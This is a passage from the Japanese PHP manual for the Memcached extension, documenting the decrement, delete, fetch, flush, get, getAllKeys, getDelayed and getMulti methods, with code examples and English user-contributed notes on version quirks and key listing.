$m->set('counter', 'abc');
$n = $m->increment('counter');
// アイテムの値が数値でないので、これは失敗します
var_dump($n);
?>

上の例の出力は以下となります。

int(4)
int(0)
int(0)
bool(false)

参考

  • Memcached::increment() - 数値アイテムの値を増やす
  • Memcached::incrementByKey() - 指定したサーバー上にある数値アイテムの値を増やす
  • Memcached::decrementByKey() - 指定したサーバー上にある数値アイテムの値を減らす

User Contributed Notes

Pramod Patil 12-Sep-2014 06:48
Found possible bug :
decrement fails and returns -1  when memcached::OPT_BINARY_PROTOCOL is set to true.

tested on PECL Memcached 2.1.0 and libmemcached version 1.0.8
Pramod Patil 08-Sep-2014 11:54
decrement will not change TTL of the stored key/value.
jbaginski 18-Jan-2013 07:31
PECL memcached < 0.2.0

public int Memcached::decrement ( string $key [, int $offset = 1 ] )


指定したサーバー上にある数値アイテムの値を減らす

  • ≪ Memcached::decrement
  • Memcached::delete ≫
  • PHP Manual
  • Memcached
  • 指定したサーバー上にある数値アイテムの値を減らす

Memcached::decrementByKey

(PECL memcached >= 2.0.0)

Memcached::decrementByKey — 指定したサーバー上にある数値アイテムの値を減らす

説明

public Memcached::decrementByKey ( string $server_key , string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false

Memcached::decrementByKey() は、数値アイテムの値を offset で指定しただけ減らします。 アイテムの値が数値でない場合はエラーとなります。 操作後の値が 0 より小さくなる場合は、新しい値は 0 となります。 アイテムが存在しない場合、Memcached::decrementByKey() は値を initial_value に設定します。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

減らしたいアイテムのキー。

offset

値を減らしたい量。

initial_value

そのアイテムが存在しない場合に設定する値。

expiry

そのアイテムに設定する有効期限。

返り値

成功した場合にアイテムの新しい値、失敗した場合に false を返します。

参考

  • Memcached::decrement() - 数値アイテムの値を減らす
  • Memcached::increment() - 数値アイテムの値を増やす
  • Memcached::incrementByKey() - 指定したサーバー上にある数値アイテムの値を増やす

User Contributed Notes

There are no user contributed notes for this page.


アイテムを削除する

  • ≪ Memcached::decrementByKey
  • Memcached::deleteByKey ≫
  • PHP Manual
  • Memcached
  • アイテムを削除する

Memcached::delete

(PECL memcached >= 0.1.0)

Memcached::delete — アイテムを削除する

説明

public Memcached::delete ( string $key , int $time = 0 ) : bool

Memcached::delete() は、キー key をサーバーから削除します。 time パラメータは、このキーによる add コマンドや replace コマンドをサーバーに拒否させたい秒数 (あるいはいつまで拒否するかを表す Unix タイム) を指定します。 この時間までの間、アイテムは削除キューに入れられます。つまり、 get コマンドによる取得はできず、 add コマンドや replace コマンドでこのキーを指定した場合も失敗するということです (set コマンドは成功します)。 時間が経過したら、アイテムはサーバーのメモリ上から削除されます。 パラメータ time のデフォルトは 0 (アイテムは即時に削除され、それ以降の格納コマンドが成功するようになる) です。

パラメータ

key

削除したいキー。

time

サーバーがアイテムを削除するまでの待ち時間。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

例

例1 Memcached::delete() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->delete('key1');
?>

参考

  • Memcached::deleteByKey() - 指定したサーバーからアイテムを削除する
  • Memcached::deleteMulti() - 複数のアイテムを削除する

User Contributed Notes

Pramod Patil 12-Sep-2014 07:09
--For PECL memcached 2.10--
delete used with second argument 'time' returns false and set the error code and message for invalid arguments unless used without Memcached::OPT_BINARY_PROTOCOL.

getResultCode() and getResultMessage() returns  38 and INVALID ARGUMENTS respectively.


指定したサーバーからアイテムを削除する

  • ≪ Memcached::delete
  • Memcached::deleteMulti ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーからアイテムを削除する

Memcached::deleteByKey

(PECL memcached >= 0.1.0)

Memcached::deleteByKey — 指定したサーバーからアイテムを削除する

説明

public Memcached::deleteByKey ( string $server_key , string $key , int $time = 0 ) : bool

Memcached::deleteByKey() は機能的に Memcached::delete() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

削除したいキー。

time

サーバーがアイテムを削除するまでの待ち時間。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

参考

  • Memcached::delete() - アイテムを削除する
  • Memcached::deleteMulti() - 複数のアイテムを削除する
  • Memcached::deleteMultiByKey() - 指定したサーバーから複数のアイテムを削除する

User Contributed Notes

There are no user contributed notes for this page.


複数のアイテムを削除する

  • ≪ Memcached::deleteByKey
  • Memcached::deleteMultiByKey ≫
  • PHP Manual
  • Memcached
  • 複数のアイテムを削除する

Memcached::deleteMulti

(PECL memcached >= 2.0.0)

Memcached::deleteMulti — 複数のアイテムを削除する

説明

public Memcached::deleteMulti ( array $keys , int $time = 0 ) : array

Memcached::deleteMulti() は、キーの配列 keys をサーバーから削除します。 time パラメータは、このキーによる add コマンドや replace コマンドをサーバーに拒否させたい秒数 (あるいはいつまで拒否するかを表す Unix タイム) を指定します。 この時間までの間、アイテムは削除キューに入れられます。つまり、 get コマンドによる取得はできず、 add コマンドや replace コマンドでこのキーを指定した場合も失敗するということです (set コマンドは成功します)。 時間が経過したら、アイテムはサーバーのメモリ上から削除されます。 パラメータ time のデフォルトは 0 (アイテムは即時に削除され、それ以降の格納コマンドが成功するようになる) です。

パラメータ

keys

削除したいキー。

time

サーバーがアイテムを削除するまでの待ち時間。

返り値

配列を返します。 配列のインデックスが keys で指定され、 その値は削除操作が成功したかどうかを示します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

参考

  • Memcached::delete() - アイテムを削除する
  • Memcached::deleteByKey() - 指定したサーバーからアイテムを削除する
  • Memcached::deleteMultiByKey() - 指定したサーバーから複数のアイテムを削除する

User Contributed Notes

There are no user contributed notes for this page.


指定したサーバーから複数のアイテムを削除する

  • ≪ Memcached::deleteMulti
  • Memcached::fetch ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーから複数のアイテムを削除する

Memcached::deleteMultiByKey

(PECL memcached >= 2.0.0)

Memcached::deleteMultiByKey — 指定したサーバーから複数のアイテムを削除する

説明

public Memcached::deleteMultiByKey ( string $server_key , array $keys , int $time = 0 ) : bool

Memcached::deleteMultiByKey() は機能的に Memcached::deleteMulti() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

keys

削除したいキー。

time

サーバーがアイテムを削除するまでの待ち時間。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

参考

  • Memcached::delete() - アイテムを削除する
  • Memcached::deleteByKey() - 指定したサーバーからアイテムを削除する
  • Memcached::deleteMulti() - 複数のアイテムを削除する

User Contributed Notes

There are no user contributed notes for this page.


次の結果を取得する

  • ≪ Memcached::deleteMultiByKey
  • Memcached::fetchAll ≫
  • PHP Manual
  • Memcached
  • 次の結果を取得する

Memcached::fetch

(PECL memcached >= 0.1.0)

Memcached::fetch — 次の結果を取得する

説明

public Memcached::fetch ( ) : array

Memcached::fetch() は、直近のリクエストから次の結果を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

次の結果、あるいは false を返します。 結果セットをすべて処理し終えた場合、 Memcached::getResultCode() は Memcached::RES_END を返します。

例

例1 Memcached::fetch() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
while ($result = $m->fetch()) {
    var_dump($result);
}
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["key"]=>
  string(3) "int"
  "value"]=>
  int(99)
  ["cas"]=>
  float(2363)
}
array(3) {
  ["key"]=>
  string(5) "array"
  ["value"]=>
  array(2) {
    [0]=>
    int(11)
    [1]=>
    int(12)
  }
  ["cas"]=>
  float(2365)
}

参考

  • Memcached::fetchAll() - 残りのすべての結果を取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

There are no user contributed notes for this page.


残りのすべての結果を取得する

  • ≪ Memcached::fetch
  • Memcached::flush ≫
  • PHP Manual
  • Memcached
  • 残りのすべての結果を取得する

Memcached::fetchAll

(PECL memcached >= 0.1.0)

Memcached::fetchAll — 残りのすべての結果を取得する

説明

public Memcached::fetchAll ( ) : array|false

Memcached::fetchAll() は、 直近のリクエストで残っているすべての結果を返します。

パラメータ

この関数にはパラメータはありません。

返り値

結果、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::getDelayed() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

参考

  • Memcached::fetch() - 次の結果を取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

There are no user contributed notes for this page.


キャッシュ内のすべてのアイテムを無効にする

  • ≪ Memcached::fetchAll
  • Memcached::get ≫
  • PHP Manual
  • Memcached
  • キャッシュ内のすべてのアイテムを無効にする

Memcached::flush

(PECL memcached >= 0.1.0)

Memcached::flush — キャッシュ内のすべてのアイテムを無効にする

説明

public Memcached::flush ( int $delay = 0 ) : bool

Memcached::flush() は、既存のキャッシュ内のすべてのアイテムを即時 (デフォルト) あるいは指定した delay の後に無効化します。 無効化した後は、取得系のコマンドには一切アイテムを返さなくなります (Memcached::flush() がアイテムを無効化したあとで同名のキーを改めて格納した場合は別です)。 既存のアイテムが確保していたメモリはその時点では開放されません。 新しいアイテムが格納されるたびに徐々に開放されていきます。

パラメータ

delay

アイテムの無効化までに待機する秒数。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::flush() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* 全アイテムを 10 秒後にフラッシュします */
$m->flush(10);
?>

User Contributed Notes

There are no user contributed notes for this page.


アイテムを取得する

  • ≪ Memcached::flush
  • Memcached::getAllKeys ≫
  • PHP Manual
  • Memcached
  • アイテムを取得する

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — アイテムを取得する

説明

public Memcached::get ( string $key , callable $cache_cb = ? , int $$flags = ? ) : mixed

Memcached::get() は、キー key に格納されたアイテムを返します。 アイテムが存在して flags に Memcached::GET_EXTENDED が指定されていた場合には、 そのアイテムの CAS トークンの値も返します。CAS トークンの使用法は Memcached::cas() を参照ください。Read-through キャッシュコールバック は cache_cb パラメータで指定します。

パラメータ

key

取得したいアイテムのキー。

cache_cb

Read-through キャッシュコールバック、あるいは null。

flags

返される結果を制御するフラグ。Memcached::GET_EXTENDED を指定すると、CAS トークンも返すようになります。

返り値

キャッシュに格納された値、あるいは false を返します。 flags に Memcached::GET_EXTENDED が設定されている場合は、キャッシュに格納された値と CAS トークンを含む配列を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

例

例1 Memcached::get() の例 #1

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('foo', 100);
var_dump($m->get('foo'));
?>

上の例の出力は以下となります。

int(100)

例2 Memcached::get() の例 #2

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

if (!($ip = $m->get('ip_block'))) {
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ip = array();
        $m->set('ip_block', $ip);
    } else {
        /* エラーをログに記録します */
        /* ...                      */
    }
}
?>

変更履歴

バージョン | 説明
PECL memcached 3.0.0 | &cas_token パラメータが削除されました。 その代わりに新たに flags パラメータが追加され、ここに Memcached::GET_EXTENDED を指定すると、CAS トークンも含めて取得するようになります。

参考

  • Memcached::getByKey() - 指定したサーバーからアイテムを取得する
  • Memcached::getMulti() - 複数のアイテムを取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

letynsoft at gmail dot com 23-May-2017 10:58
As of some version of php7 (i was not able to determine which exactly).
The $cas_token is no longer valid argument. It has been removed in favor of flags argument, as it appears to be causing issues when subclassing the Memcached class.

See https://github.com/php-memcached-dev/php-memcached/pull/214 for more details.

Basically you need to
<?php
function memcacheGet($key, $cb = null, &$cas = null) {
  $m = memcacheGetObject();
  if(empty($m))
    return false;
  if(defined('Memcached::GET_EXTENDED')) {
    //Incompatible change in php7, took me 2 hours to figure this out, grrr
    $_o = $m->get($key, $cb, Memcached::GET_EXTENDED);
    $o = $_o['value'];
    $cas = $_o['cas'];
  } else {
    $o = $m->get($key, $cb, $cas);
  }
  return $o;
}
?>
denis_truffaut[A-T]hotmail[D-O-T]com 17-Jan-2011 06:01
Note that this function can return NULL as FALSE, so don't make checks with === FALSE as with the old Memcache class, because it won't work. :O

Use the not (!) operator and check the result code with getResultCode() as mentioned in the documentation :)
miha at hribar dot info 17-Jul-2009 01:31
This method also returns false in case you set the value to false, so in order to have a proper fault mechanism in place you need to check the result code to be certain that a key really does not exist in memcached.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));       // boolean false
var_dump($Memcached->getResultCode());  // int 0 which is Memcached::RES_SUCCESS
?>

Or just make sure the values are not false :)


すべてのサーバーのキーを取得する

  • ≪ Memcached::get
  • Memcached::getByKey ≫
  • PHP Manual
  • Memcached
  • すべてのサーバーのキーを取得する

Memcached::getAllKeys

(PECL memcached >= 2.0.0)

Memcached::getAllKeys — すべてのサーバーのキーを取得する

説明

public Memcached::getAllKeys ( ) : array|false

Memcached::getAllKeys() は、 個々の memcache サーバーに問い合わせて、その時点で格納されているすべてのキーの配列を取得します。 これはアトミックな操作ではないので、ある時点でのすべてのキーのスナップショットを真の意味で取得したとは言えません。 また、memcache はすべてのキーを返すことを保証しないので、 すべてのキーを取得したものとみなすこともできません。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合は全サーバーに格納されているキー、失敗した場合に false を返します。

User Contributed Notes

danb1974 at gmail dot com 03-Aug-2020 06:55
The right way to dump slab keys seems to be by using lru_crawler metadump instead of stats cachedump, see https://github.com/memcached/memcached/issues/405

<?php

function getAllKeys(string $host, int $port): array
{
    $sock = fsockopen($host, $port, $errno, $errstr);
    if ($sock === false) {
        throw new Exception("Error connection to server {$host} on port {$port}: ({$errno}) {$errstr}");
    }

    if (fwrite($sock, "stats items\n") === false) {
        throw new Exception("Error writing to socket");
    }

    $slabCounts = [];
    while (($line = fgets($sock)) !== false) {
        $line = trim($line);
        if ($line === 'END') {
            break;
        }

        // STAT items:8:number 3
        if (preg_match('!^STAT items:(\d+):number (\d+)$!', $line, $matches)) {
            $slabCounts[$matches[1]] = (int)$matches[2];
        }
    }

    foreach ($slabCounts as $slabNr => $slabCount) {
        if (fwrite($sock, "lru_crawler metadump {$slabNr}\n") === false) {
            throw new Exception('Error writing to socket');
        }

        $count = 0;
        while (($line = fgets($sock)) !== false) {
            $line = trim($line);
            if ($line === 'END') {
                break;
            }

            // key=foobar exp=1596440293 la=1596439293 cas=8492 fetch=no cls=24 size=14908
            if (preg_match('!^key=(\S+)!', $line, $matches)) {
                $allKeys[] = $matches[1];
                $count++;
            }
        }

//        if ($count !== $slabCount) {
//            throw new Exception("Surprise, got {$count} keys instead of {$slabCount} keys");
//        }
    }

    if (fclose($sock) === false) {
        throw new Exception('Error closing socket');
    }

    return $allKeys;
}
harold at snel dot me 23-Apr-2019 08:59
/**
 * Get all memcached keys. Special function because getAllKeys() is broken since memcached 1.4.23. Should only be needed on php 5.6
 *
 * cleaned up version of code found on Stackoverflow.com by Maduka Jayalath
 *
 * @return array|int - all retrieved keys (or negative number on error)
 */
public function getMemcachedKeys($host = '127.0.0.1', $port = 11211)
{
    $mem = @fsockopen($host, $port);
    if ($mem === false)
    {
        return -1;
    }

    // retrieve distinct slab
    $r = @fwrite($mem, 'stats items' . chr(10));
    if ($r === false)
    {
        return -2;
    }

    $slab = [];
    while (($l = @fgets($mem, 1024)) !== false)
    {
        // finished?
        $l = trim($l);
        if ($l == 'END')
        {
            break;
        }

        $m = [];
        // <STAT items:22:evicted_nonzero 0>
        $r = preg_match('/^STAT\sitems\:(\d+)\:/', $l, $m);
        if ($r != 1)
        {
            return -3;
        }
        $a_slab = $m[1];

        if (!array_key_exists($a_slab, $slab))
        {
            $slab[$a_slab] = [];
        }
    }

    reset($slab);
    foreach ($slab as $a_slab_key => &$a_slab)
    {
        $r = @fwrite($mem, 'stats cachedump ' . $a_slab_key . ' 100' . chr(10));
        if ($r === false)
        {
            return -4;
        }

        while (($l = @fgets($mem, 1024)) !== false)
        {
            // finished?
            $l = trim($l);
            if ($l == 'END')
            {
                break;
            }

            $m = [];
            // ITEM 42 [118 b; 1354717302 s]
            $r = preg_match('/^ITEM\s([^\s]+)\s/', $l, $m);
            if ($r != 1)
            {
                return -5;
            }
            $a_key = $m[1];

            $a_slab[] = $a_key;
        }
    }

    // close the connection
    @fclose($mem);
    unset($mem);

    $keys = [];
    reset($slab);
    foreach ($slab AS &$a_slab)
    {
        reset($a_slab);
        foreach ($a_slab AS &$a_key)
        {
            $keys[] = $a_key;
        }
    }
    unset($slab);

    return $keys;
}
flaviu dot chelaru at gmail dot com 05-Feb-2017 08:58
// initiate the memcached instance
$cache = new \Memcached();
$cache->addServer('localhost', '11211');

// get all stored memcached items

$keys = $cache->getAllKeys();
$cache->getDelayed($keys);

$store = $cache->fetchAll();

// delete by regex keys

$keys = $cache->getAllKeys();
$regex = 'product_.*';
foreach($keys as $item) {
    if(preg_match('/'.$regex.'/', $item)) {
        $cache->delete($item);
    }
}
xiangku7890 at gmail dot com 24-Apr-2016 01:46
First I use the lastest memcached version 1.4.25, but unfortunately I found memcached::getAllkeys do not work with it, though i follow the others suggestion to disable Memcached::OPT_BINARY_PROTOCOL. So i try to use history versions, when i use memcached version 1.4.17, it works.
fykknd at 163 dot com 21-Dec-2015 08:11
I got this answer..
My libmemcached version is 1.0.18. php-memcached version is 2.2.0
In Libmemcached at memcache.h line 84:
 #define MAX_NUMBER_OF_SLAB_CLASSES (63 + 1)
Modify it to 201, compile again. It's ok.
主要?是版本不兼容造成的。libmemchaed里的一个bug，
memcached_return_t?个方法里的for循?，最大数是200，和上面的常量64定?不一致造成的。
Cuchac 21-Jan-2015 07:27
This command returns always FALSE when binary protocol in use (Memcached::OPT_BINARY_PROTOCOL = true). Without binary protocol it works.


指定したサーバーからアイテムを取得する

  • ≪ Memcached::getAllKeys
  • Memcached::getDelayed ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーからアイテムを取得する

Memcached::getByKey

(PECL memcached >= 0.1.0)

Memcached::getByKey — 指定したサーバーからアイテムを取得する

説明

public Memcached::getByKey ( string $server_key , string $key , callable $cache_cb = ? , int $flags = ? ) : mixed

Memcached::getByKey() は機能的に Memcached::get() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

取得したいアイテムのキー。

cache_cb

Read-through キャッシュコールバック、あるいは null。

flags

返り値を制御するフラグ。 Memcached::GET_EXTENDED を渡すと、CASトークン を返します。

返り値

キャッシュに格納された値、あるいは false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTFOUND を返します。

変更履歴

バージョン | 説明
PECL memcached 3.0.0 | &cas_token パラメータは削除されました。 代替として flags が追加され、 これに Memcached::GET_EXTENDED を渡すと、 CAS トークンも取得するようになりました。

参考

  • Memcached::get() - アイテムを取得する
  • Memcached::getMulti() - 複数のアイテムを取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

There are no user contributed notes for this page.


複数のアイテムを要求する

  • ≪ Memcached::getByKey
  • Memcached::getDelayedByKey ≫
  • PHP Manual
  • Memcached
  • 複数のアイテムを要求する

Memcached::getDelayed

(PECL memcached >= 0.1.0)

Memcached::getDelayed — 複数のアイテムを要求する

説明

public Memcached::getDelayed ( array $keys , bool $with_cas = ? , callable $value_cb = ? ) : bool

Memcached::getDelayed() は、keys 配列で指定した複数のキーのアイテムに対するリクエストを memcache に発行します。 このメソッドはサーバーからの応答を待たずにすぐに結果を返します。 アイテムを使用したくなったときには Memcached::fetch() あるいは Memcached::fetchAll() をコールします。 with_cas が true の場合は CAS トークンの値もリクエストします。

結果を明示的に取得するのではなく、result コールバック を value_cb パラメータで指定することもできます。

パラメータ

keys

要求するキーの配列。

with_cas

CAS トークンの値も要求するかどうか。

value_cb

result コールバック、あるいは null。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::getDelayed() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

参考

  • Memcached::getDelayedByKey() - 指定したサーバーに複数のアイテムを要求する
  • Memcached::fetch() - 次の結果を取得する
  • Memcached::fetchAll() - 残りのすべての結果を取得する

User Contributed Notes

antmat at mail dot ru 18-Feb-2011 08:16
Actually, when you pass a callback, method doesn't return immediately, but waits for results and calls callback function.


指定したサーバーに複数のアイテムを要求する

  • ≪ Memcached::getDelayed
  • Memcached::getMulti ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーに複数のアイテムを要求する

Memcached::getDelayedByKey

(PECL memcached >= 0.1.0)

Memcached::getDelayedByKey — 指定したサーバーに複数のアイテムを要求する

説明

public Memcached::getDelayedByKey ( string $server_key , array $keys , bool $with_cas = ? , callable $value_cb = ? ) : bool

Memcached::getDelayedByKey() は機能的に Memcached::getDelayed() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

keys

要求するキーの配列。

with_cas

CAS トークンの値も要求するかどうか。

value_cb

result コールバック、あるいは null。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

参考

  • Memcached::getDelayed() - 複数のアイテムを要求する
  • Memcached::fetch() - 次の結果を取得する
  • Memcached::fetchAll() - 残りのすべての結果を取得する

User Contributed Notes

There are no user contributed notes for this page.


複数のアイテムを取得する

  • ≪ Memcached::getDelayedByKey
  • Memcached::getMultiByKey ≫
  • PHP Manual
  • Memcached
  • 複数のアイテムを取得する

Memcached::getMulti

(PECL memcached >= 0.1.0)

Memcached::getMulti — 複数のアイテムを取得する

説明

public Memcached::getMulti ( array $keys , int $flags = ? ) : mixed

Memcached::getMulti() は Memcached::get() と似ていますが、ひとつのキーのアイテムを取得するのではなく keys 配列で指定したキー群から複数のアイテムを取得します。

注意:

v3.0 より前のバージョンでは、二番目のパラメータ &cas_tokens が存在して、見つかったアイテムの CAS トークンが書き込まれるようになっていました。 この &cas_tokens パラメータは memcached 拡張モジュールの v3.0 で削除されました。 その代わりに追加されたのが Memcached::GET_EXTENDED フラグで、 これを flags に指定すれば CAS トークンを得られます。

flags パラメータを使用して、 Memcached::getMulti() 用の追加のオプションを設定します。 Memcached::GET_PRESERVE_ORDER は、要求したのと同じ順番でキーが返されることを保証します。 Memcached::GET_EXTENDED は、CAS トークンも含めて返すようにします。

パラメータ

keys

取得したいキーの配列。

flags

取得操作のオプション。

返り値

見つかったアイテムの配列、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::getMulti() example for Memcached v3

<?php
// Valid for v3 of the extension

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'));
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}

例2 Memcached::getMulti() example for Memcached v1 and v2

<?php
// Valid for v1 and v2 of the extension

$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'), $cas);
var_dump($result, $cas);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}
array(2) {
  ["key1"]=>
  float(2360)
  ["key3"]=>
  float(2362)
}

例3 Memcached v3 用の Memcached::GET_PRESERVE_ORDER の例

<?php
// Valid for v3 of the extension

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
    'foo' => 'foo-data',
    'bar' => 'bar-data',
    'baz' => 'baz-data',
    'lol' => 'lol-data',
    'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
    echo "$k $v\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

例4 Memcached v1 および v2 用の Memcached::GET_PRESERVE_ORDER の例

<?php
// Valid for v1 and v2 of the extension

$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
    'foo' => 'foo-data',
    'bar' => 'bar-data',
    'baz' => 'baz-data',
    'lol' => 'lol-data',
    'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$null = null;
$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, $null, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
    echo "$k $v\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

変更履歴

バージョン | 説明
PECL memcached 3.0.0 | &cas_tokens パラメータが削除されました。 Memcached::GET_EXTENDED が追加され、これをフラグとして渡すと CAS トークンも取得するようになりました。

参考

  • Memcached::getMultiByKey() - 指定したサーバーから複数のアイテムを取得する
  • Memcached::get() - アイテムを取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


指定したサーバーから複数のアイテムを取得する

  • ≪ Memcached::getMulti
  • Memcached::getOption ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーから複数のアイテムを取得する

Memcached::getMultiByKey

(PECL memcached >= 0.1.0)

Memcached::getMultiByKey — 指定したサーバーから複数のアイテムを取得する

説明

public Memcached::getMultiByKey ( string $server_key , array $keys , int $flags = ? ) : array|false

Memcached::getMultiByKey() は機能的に Memcached::getMulti() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

